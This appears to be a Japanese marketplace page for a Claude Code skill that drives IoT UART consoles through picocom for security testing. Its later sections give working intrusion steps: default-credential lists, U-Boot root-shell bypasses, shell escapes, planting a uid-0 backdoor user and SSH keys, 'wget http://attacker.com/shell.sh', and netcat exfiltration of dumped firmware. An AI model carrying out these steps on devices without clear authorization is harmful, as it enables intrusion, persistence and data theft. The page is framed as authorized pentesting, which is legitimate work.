mcpField
P
picocom

picocom

github.com/brownfinesecurityセキュリティ87550 回インストール21 週間前に更新
リポジトリ

picocom について

picocomは、UARTコンソール経由でIoTデバイスを調査するセキュリティ研究者向けのスキルです。シリアル用ヘルパーで、対話・一括コマンド、受動監視、ATインターフェース、セッション記録を扱えます。

主な機能

  1. 01対話型・一括シリアルコマンド
  2. 02プロンプト検出とタイムアウト処理
  3. 03トリガー対応のUART受動監視
  4. 04ATコマンドインターフェース対応
  5. 05タイムスタンプ付きセッション記録

活用シーン

  1. 01IoTデバイスのシェル列挙
  2. 02起動・デバッグログの取得
  3. 03外部イベント後のUART出力確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/brownfinesecurity/iothackbot --skill picocom

インストール後、Claude Code で/picocomを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

examples.md
OBSERVING_SESSIONS.md
serial_helper.py

詳細

IoT UART コンソール(picocom)

このスキルでは、picocom を使用して IoT デバイスの UART コンソールを操作し、セキュリティテストやペネトレーションテストを実施できます。ブートローダーとの対話、シェルアクセス(認証の有無を問わない)、デバイスの列挙、脆弱性の発見に対応しています。

前提条件

  • システムに picocom がインストールされていること
  • Python 3 と pyserial ライブラリ(Arch では sudo pacman -S python-pyserial、または pip install pyserial)
  • 対象デバイスへの UART 接続(USB-シリアルアダプター、FTDI ケーブルなど)
  • シリアルデバイス(通常は /dev/ttyUSB* または /dev/ttyACM*)への適切なアクセス権限

推奨アプローチ:シリアルヘルパースクリプト

重要:このスキルには、シリアル通信のためのシンプルで信頼性の高いインターフェースを提供する Python ヘルパースクリプト(serial_helper.py)が含まれています。IoT デバイスを操作する際には、この方法を推奨します。

デフォルトのセッションログ記録

Claude が実行するすべてのコマンドは、デフォルトで /tmp/serial_session.log に記録されます。

Claude の動作をリアルタイムで確認するには:

# In a separate terminal, run:
tail -f /tmp/serial_session.log

これにより、接続に干渉せずに、すべてのシリアル I/O を発生と同時に確認できます。

シリアルヘルパーを使う理由

このヘルパースクリプトは、picocom を直接使用する際に起こる多くの問題を解決します。

  • クリーンな出力:コマンドのエコー、プロンプト、ANSI コードを自動的に削除します
  • プロンプト検出:デバイスのプロンプトを自動的に検出して待機します
  • タイムアウト処理:任意のスリープを使わず、適切にタイムアウトを管理します
  • 簡単なスクリプト化:単一のコマンドや一括操作に使えるシンプルなコマンドラインインターフェース
  • セッションログ記録:観察用にすべての I/O を /tmp/serial_session.log に記録します
  • 信頼性:TTY 要件やバックグラウンドプロセスに関する問題がありません
シリアルヘルパーでクイックスタート

単一コマンド:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"

カスタムプロンプトを指定する場合(既知のデバイスに推奨):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"

対話モード:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive

ファイルからの一括コマンド:

# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt

JSON 出力(解析用):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json

デバッグモード:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug

セッションログ記録(観察用):

# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --prompt "User@[^>]+>" \
  --logfile /tmp/session.log \
  --interactive

# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log

注:シリアルセッションの監視について詳しくは、OBSERVING_SESSIONS.md を参照してください。

基本的な接続と列挙、U-Boot ブートローダーの悪用、ログイン認証のバイパス、制限付きユーザーからの権限昇格、ファームウェアの抽出について、実践的な攻撃手順を詳しく説明した examples.md を参照してください。

モニターモード(受動リスニング)

新機能:モニターモードは、プロンプトや対話なしでデバイスがログを出力する状況で、UART を受動的に監視するためのモードです。

使用例:

  • 対話型コンソールを持たないデバイスの起動ログを監視する
  • 外部操作の実行時に出力される情報を取得する
  • ネットワークリクエストやハードウェアイベントによって UART ログが生成されるかをテストする
  • トリガー前後の出力を比較する

基本的な受動監視:

python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 30 \
  --logfile /tmp/uart.log

外部トリガースクリプトを使った監視:

# Run external script after 5 seconds and capture triggered UART output
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 60 \
  --trigger-script "python3 /path/to/test_script.py" \
  --trigger-delay 5 \
  --logfile /tmp/triggered_uart.log

ベースラインを取得する監視:

# Capture 10s baseline, run trigger at 15s, continue for total 60s
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 60 \
  --trigger-script "curl http://192.168.1.100/api/reboot" \
  --trigger-delay 15 \
  --baseline-duration 10 \
  --logfile /tmp/reboot_monitor.log

モニターモードのオプション:

  • --duration SECONDS - 監視する合計時間(デフォルト:30)
  • --trigger-script CMD - 監視中に実行する外部コマンド/スクリプト
  • --trigger-delay SECONDS - トリガーを実行するタイミング(デフォルト:5)
  • --baseline-duration SECONDS - トリガー前にベースラインを取得する時間(デフォルト:0)
  • --logfile FILE - すべての I/O をファイルに記録する
  • --json - 結果を JSON 形式で出力する

出力内容:

  • タイムスタンプ付きのリアルタイムコンソール出力
  • ベースライン、トリガー、トリガー後の分類
  • トリガースクリプトの終了コードと出力
  • 要約統計(各フェーズで取得したバイト数)
  • 取得したすべてのデータを含むタイムライン
シリアルヘルパーのオプション
Required (one of):
  --command, -c CMD         Execute single command
  --interactive, -i         Enter interactive mode
  --script, -s FILE         Execute commands from file
  --monitor, -m             Passive monitoring mode (just listen, no commands)

Connection Options:
  --device, -d DEV          Serial device (default: /dev/ttyUSB0)
  --baud, -b RATE           Baud rate (default: 115200)
  --timeout, -t SECONDS     Command timeout (default: 3.0)
  --prompt, -p PATTERN      Custom prompt regex pattern
  --at-mode, -a             AT command mode for cellular/satellite modems

Monitor Mode Options:
  --duration SECONDS        Monitoring duration (default: 30.0)
  --trigger-script CMD      External script/command to run during monitoring
  --trigger-delay SECONDS   Seconds before running trigger (default: 5.0)
  --baseline-duration SEC   Baseline capture duration (default: 0.0)

Output Options:
  --raw, -r                 Don't clean output (show echoes, prompts)
  --json, -j                Output in JSON format
  --logfile, -l FILE        Log all I/O to file (can tail -f in another terminal)
  --debug                   Show debug information
一般的なプロンプトパターン

ヘルパースクリプトには一般的なプロンプトパターンが含まれていますが、独自のパターンを指定することもできます。

# Uniview camera
--prompt "User@[^>]+>"

# Standard root/user prompts
--prompt "[#\$]\s*$"

# U-Boot bootloader
--prompt "=>\s*$"

# Custom device
--prompt "MyDevice>"
AT コマンドモード(セルラー/衛星モデム)

重要:AT コマンドインターフェース(セルラーモデム、衛星モデム、GPS モジュール)を操作する場合は、--at-mode フラグを使用してください。AT インターフェースにはシェルプロンプトがなく、OK、ERROR、または特定の結果コードを返します。

AT モードを使用する場合:

  • セルラーモデム(Quectel、Sierra Wireless、u-blox、SIMCom、Telit)
  • 衛星モデム(Iridium、Globalstar)
  • AT インターフェースを備えた GPS モジュール
  • AT コマンドに OK/ERROR で応答するデバイス

AT コマンドの基本的な使用方法:

# Single AT command
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --at-mode \
  --command "AT" \
  --logfile /tmp/serial_session.log

# Get modem info
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --at-mode \
  --command "ATI" \
  --logfile /tmp/serial_session.log

# Get IMEI
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --at-mode \
  --command "AT+CGSN" \
  --logfile /tmp/serial_session.log

AT モードでの列挙例:

HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"

# Basic connectivity test
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"

# Device identification
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"

# SIM and network info
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"

ファイルからの AT コマンドの一括実行:

# Create AT command script
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF

# Execute batch
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --at-mode \
  --script at_enum.txt \
  --logfile /tmp/serial_session.log

対話型 AT セッション:

python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --at-mode \
  --interactive \
  --logfile /tmp/serial_session.log

AT モードの応答処理:

  • OK - コマンドが成功しました
  • ERROR - コマンドが失敗しました(一般的なエラー)
  • +CME ERROR: <code> - コード付きの移動体機器エラー
  • +CMS ERROR: <code> - コード付きの SMS 関連エラー
  • NO CARRIER - 接続が切断されたか、失敗しました
  • CONNECT - データ接続が確立しました

ペネトレーションテストでよく使う AT コマンドのカテゴリ:

# Network and connectivity
AT+CGDCONT?     # PDP context (APN settings)
AT+QIOPEN       # Open socket (Quectel)
AT+QISTATE?     # Socket state (Quectel)

# Device management
AT+CFUN?        # Phone functionality
AT+CPIN?        # SIM PIN status
AT+CLCK         # Facility lock (SIM lock status)

# Firmware and updates
AT+CGMR         # Firmware version
AT+QGMR         # Extended firmware info (Quectel)

# Debug/engineering modes (may expose sensitive info)
AT+QENG         # Engineering mode (Quectel)
AT$QCPWD        # Password commands (Qualcomm)
シリアルヘルパーを使ったデバイス列挙の例

デバイスを安全に列挙する完全な例を示します。

# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>"  # Adjust for your device
LOGFILE="/tmp/serial_session.log"

# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"

# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"

# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"

# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"

# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"

# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"

CLAUDE CODE 向け重要事項:このスキルを使用する際は、ユーザーが tail -f /tmp/serial_session.log で動作を監視できるよう、すべてのコマンドに必ず --logfile /tmp/serial_session.log を含めてください。

ペネトレーションテストのユースケース:トリガーベースの UART 解析

IoT のペネトレーションテストでよくあるシナリオとして、ネットワークリクエスト、API 呼び出し、またはハードウェアイベントによって UART にデバッグ出力が生成されるかをテストします。

例:API リクエストで UART ログが生成されるかをテストする

# Monitor UART while sending network request
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 30 \
  --trigger-script "curl -X POST http://192.168.1.100/api/update" \
  --trigger-delay 5 \
  --logfile /tmp/api_test.log

# Review what the device logged when API was called
cat /tmp/api_test.log

例:認証の試行をテストする

# Monitor UART during login attempts
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 45 \
  --trigger-script "python3 brute_force_login.py" \
  --trigger-delay 10 \
  --baseline-duration 5 \
  --logfile /tmp/auth_test.log \
  --json > /tmp/auth_results.json

例:起動シーケンスの解析

# Capture device boot logs (reboot via network API)
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --monitor \
  --duration 120 \
  --trigger-script "curl http://192.168.1.100/api/reboot" \
  --trigger-delay 5 \
  --logfile /tmp/boot_sequence.log

ペネトレーションテストで役立つ理由:

  • デバイスの UART ログには、機密情報(パスワード、キー、パスなど)が漏えいすることがよくあります
  • デバッグ出力から、内部 API エンドポイントやプロトコルが判明する場合があります
  • エラーメッセージから脆弱性が明らかになることがあります
  • 起動ログには、セキュアブートの状態、読み込まれたモジュール、ファイルシステムのパスが記録されます
  • 認証の試行時に、ユーザー名やトークンが平文で記録されることがあります

CLAUDE CODE 向け重要事項:このスキルを使用する際は、ユーザーが tail -f /tmp/serial_session.log で動作を監視できるよう、すべてのコマンドに必ず --logfile /tmp/serial_session.log を含めてください。

代替手段:picocom を直接使用する(上級者向け)

ブート中のブートローダーとのやり取りなど、picocom に直接アクセスする必要がある場合は、picocom を直接使用できます。ただし、手順が複雑になり、エラーも発生しやすくなります。

手順

1. 接続の設定

重要:picocom は対話型で動作するため、標準の stdin/stdout パイプ経由では制御できません。次の方法を使用してください。

  1. run_in_background: true を指定して、必ずバックグラウンドシェルで picocom を実行します
  2. BashOutput ツールを使用して応答を読み取り、出力を監視します
  3. Ctrl-A Ctrl-S で送信モードに入るか、デバイスファイルに直接書き込んでコマンドを送信します

デフォルトの接続コマンド:

picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0

デフォルト設定(特に指定がない場合):

  • ボーレート:115200(IoT デバイスで最も一般的)
  • デバイス:/dev/ttyUSB0(最も一般的な USB-シリアル変換アダプター)
  • 常に --nolock を使用する:ユーザーから別途指定がない限り、ファイルロックの問題を防ぎます

代替ボーレート(115200 で動作しない場合):

  • 57600
  • 38400
  • 19200
  • 9600
  • 230400(あまり一般的ではない高速設定)

代替デバイスパス:

  • /dev/ttyUSB0、/dev/ttyUSB1、/dev/ttyUSB2、...(USB-シリアル変換アダプター)
  • /dev/ttyACM0、/dev/ttyACM1、...(USB CDC デバイス)
  • /dev/ttyS0、/dev/ttyS1、...(内蔵シリアルポート)

picocom の必須オプション:

  • -b または --baud:ボーレートを設定します(デフォルトでは 115200 を使用)
  • --nolock:ファイルロックを無効にします(ユーザーから無効にしないよう指定されない限り、必ず使用してください)
  • --omap crlf:出力の CR を CRLF にマッピングします(書式の調整に役立ちます)
  • --echo:ローカルエコーを有効にします(入力した内容を確認できます)
  • --logfile <file>:セッションの出力をすべてファイルに記録します(推奨)
  • -q または --quiet:picocom のステータスメッセージを抑制します
  • --imap lfcrlf:入力の LF を CRLF にマッピングします(必要な場合があります)
2. コンソールの状態を確認する

接続後、デバイスの状態を特定する必要があります。

a) 空白/無応答のコンソール:

  • Enter を数回押して、プロンプトが表示されるか確認します
  • Ctrl-C を押して、実行中のプロセスを中断してみます
  • それでも何も表示されない場合、デバイスはブートローダーの待機状態になっている可能性があります。スペースバーや、ほかのブートローダー割り込みキーを試します

b) ブートローダー(U-Boot など):

  • U-Boot>、=>、uboot>、Boot> のようなプロンプトを探します
  • ブートローダーでは、割り込み可能なカウントダウンが表示されることがよくあります
  • 一般的な割り込みキー:スペース、Enter、起動メッセージに記載された特定のキー

c) ログインプロンプト:

  • login: または username: のプロンプトを探します
  • IoT デバイスで一般的なデフォルト認証情報:
    • root / root
    • admin / admin
    • root / (パスワードなし)
    • admin / password
    • メーカーのドキュメントやオンラインデータベースを確認します

d) シェルアクセス:

  • root シェルに直接入れる場合があります
  • #、$、>、またはカスタムプロンプトのような表示を探します
2.1. BusyBox シェル(ほとんどの IoT デバイス)

重要:IoT デバイスの大部分は、組み込みシステム向けに設計された軽量な Unix ユーティリティ群、BusyBox を使用しています。BusyBox は、コマンド機能が限られた最小限のシェル環境を提供します。

BusyBox の識別:

# Check what shell you're using
busybox
busybox --help

# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox

# List available BusyBox applets
busybox --list

BusyBox の制限事項:

  • 多くの標準的な Linux コマンドは、簡易版の場合があります
  • 一般的なフラグやオプションの一部が利用できない場合があります
  • タブ補完などの機能が制限されていたり、利用できなかったりします
  • 通常の Linux 環境で使える攻撃手法の一部は、機能しない場合があります

一般的に利用できる BusyBox コマンド:

# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)

# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin

ペネトレーションテストにおける BusyBox 固有の考慮事項:

  • ps の出力形式は、標準的な Linux と異なる場合があります
  • 一部の権限昇格手法には、BusyBox に含まれていないコマンドが必要です
  • ファイル権限は通常どおり機能します(SUID、スティッキービットなど)
  • ネットワークツールは用意されていることがよくあります(telnet、wget、nc/netcat、ftpget)
  • デバイスのストレージ容量に制約があるため、Python/Perl/Ruby は通常利用できません

列挙に便利な BusyBox コマンド:

# Check BusyBox version (may have known vulnerabilities)
busybox | head -1

# Network utilities often available
nc -l -p 4444  # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1

# httpd (web server) often included
busybox httpd -p 8080 -h /tmp  # Quick file sharing

参考ドキュメント:

3. コンソールを操作する

picocom にコマンドを送信する:

picocom は対話型なので、いくつかの方法があります。

方法 A:デバイスファイルに直接書き込む

echo "command" > /dev/ttyUSB0

方法 B:expect などのツールを使用する

expect -c "
  spawn picocom -b 115200 --nolock /dev/ttyUSB0
  send \"command\r\"
  expect \"#\"
  exit
"

方法 C:picocom の代わりに screen を使用する(スクリプト化が容易な場合があります)

screen /dev/ttyUSB0 115200

picocom のキーボードショートカット:

  • Ctrl-A Ctrl-X:picocom を終了します
  • Ctrl-A Ctrl-Q:リセットせずに終了します
  • Ctrl-A Ctrl-U:ボーレートを上げます
  • Ctrl-A Ctrl-D:ボーレートを下げます
  • Ctrl-A Ctrl-T:ローカルエコーを切り替えます
  • Ctrl-A Ctrl-S:ファイルを送信します(コマンドの送信に使用できます)
4. デバイスを列挙する

シェルにアクセスできたら、次の情報を収集します。

システム情報:

# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo

# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*

# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf

# Mounted filesystems
mount
cat /proc/mounts
df -h

# Running processes
ps aux
ps -ef
top -b -n 1

ユーザーと権限の情報:

# Current user context
id
whoami
groups

# User accounts
cat /etc/passwd
cat /etc/shadow  # If readable - major security issue!
cat /etc/group

# Sudo/privilege info
sudo -l
cat /etc/sudoers

ネットワークサービス:

# Listening services
netstat -tulpn
ss -tulpn
lsof -i

# Firewall rules
iptables -L -n -v
cat /etc/iptables/*

注目すべきファイルとディレクトリ:

# Configuration files
ls -la /etc/
find /etc/ -type f -readable

# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/

# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null

# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
5. ブートローダーの悪用

ブートローダー(U-Boot など)にアクセスできる場合:

一般的な U-Boot コマンド:

# Print environment variables
printenv

# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot

# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"

# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000

# Memory examination
md <address>  # Memory display
mm <address>  # Memory modify
mw <address> <value>  # Memory write

# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>

# Other useful commands
help
bdinfo  # Board info
version
reset
6. 権限昇格(root でない場合)

一般的な脆弱性を確認する:

# Kernel exploits
uname -r  # Check kernel version for known exploits

# Check for exploitable services
ps aux | grep root

# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null

# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
7. 永続化と追加アクセス

追加のアクセス方法を確立する:

# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start  # Common on embedded devices

# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor

# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
8. ファームウェアの抽出

オフライン分析用にファームウェアを抽出する:

# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions

# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin

# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin

# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
9. クリーンアップと終了

picocom を終了するには:

  • Ctrl-A に続けて Ctrl-X を押します
  • または、別のターミナルから killall picocom を実行します

バックグラウンドシェルを終了する必要がある場合:

  • 適切な shell_id を指定して KillShell ツールを使用します

一般的な IoT デバイスのシナリオ

シナリオ 1:認証不要のシェル
# Connect
picocom -b 115200 --nolock /dev/ttyUSB0

# Press Enter, get root shell immediately
# Enumerate and exploit
シナリオ 2:パスワードで保護されたシェル
# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
シナリオ 3:ブートローダーから root シェルへ
# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authentication
シナリオ 4:制限付きシェルからの脱出
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi  # Then :!/bin/sh
less /etc/passwd  # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'

セキュリティテストのチェックリスト

  • デバイスとファームウェアのバージョンを特定する
  • デフォルトの認証情報を確認する
  • ネットワークサービスと開いているポートを列挙する
  • ファイル内にハードコードされた認証情報がないか確認する
  • コマンドインジェクションの脆弱性をテストする
  • ファイルの権限を確認する(SUID、全ユーザーが書き込み可能)
  • ブートローダーのセキュリティをテストする(パスワード保護、コマンド制限)
  • 既知の CVE がある古いソフトウェアがないか確認する
  • 権限昇格につながる経路をテストする
  • オフライン分析用にファームウェアを抽出する
  • スクリーンショットやログを添えてすべての調査結果を記録する

ベストプラクティス

  1. セッションは必ず記録する:--logfile session.log を使用します
  2. すべて記録する:コマンド、応答、調査結果をメモします
  3. 辛抱強く待つ:デバイスによっては応答が遅く、時間がかかる場合があります
  4. ボーレートを確認する:ボーレートが間違っていると、文字化けした出力になります。文字化けが見られる場合は、一般的なボーレートを試します
  5. デバイスについて調査する:既知の脆弱性、デフォルトの認証情報、よくある問題を調べます
  6. 適切な許可を得る:所有しているデバイス、またはテストの明示的な許可を得たデバイスのみをペネトレーションテストの対象にします
  7. バックアップする:可能であれば、変更を加える前にファームウェアをバックアップします
  8. ブートローダーの操作には注意する:コマンドを誤ると、デバイスが起動不能になる場合があります

トラブルシューティング

問題:文字化けしたテキストや不明な文字が表示される

  • 解決策:ボーレートが間違っています。115200、57600、38400、19200、9600 を試します

問題:出力がまったくない

  • 解決策:物理的な接続を確認し、Enter キーを押してみます。デバイスの電源が入っているか確認します

問題:「Device busy」または「Permission denied」と表示される

  • 解決策:シリアルポートを使用しているほかのプログラムを終了し、ユーザー権限を確認します(sudo usermod -a -G dialout $USER)

問題:コマンドがエコーされない

  • 解決策:--echo フラグでローカルエコーを有効にするか、picocom で Ctrl-A Ctrl-T を押します

問題:行末が正しくない(余分な行ができる、または改行されない)

  • 解決策:--omap crlf または --imap lfcrlf オプションを使用します

使用例

# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0

# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0

# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0

# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitor

参考資料

コメント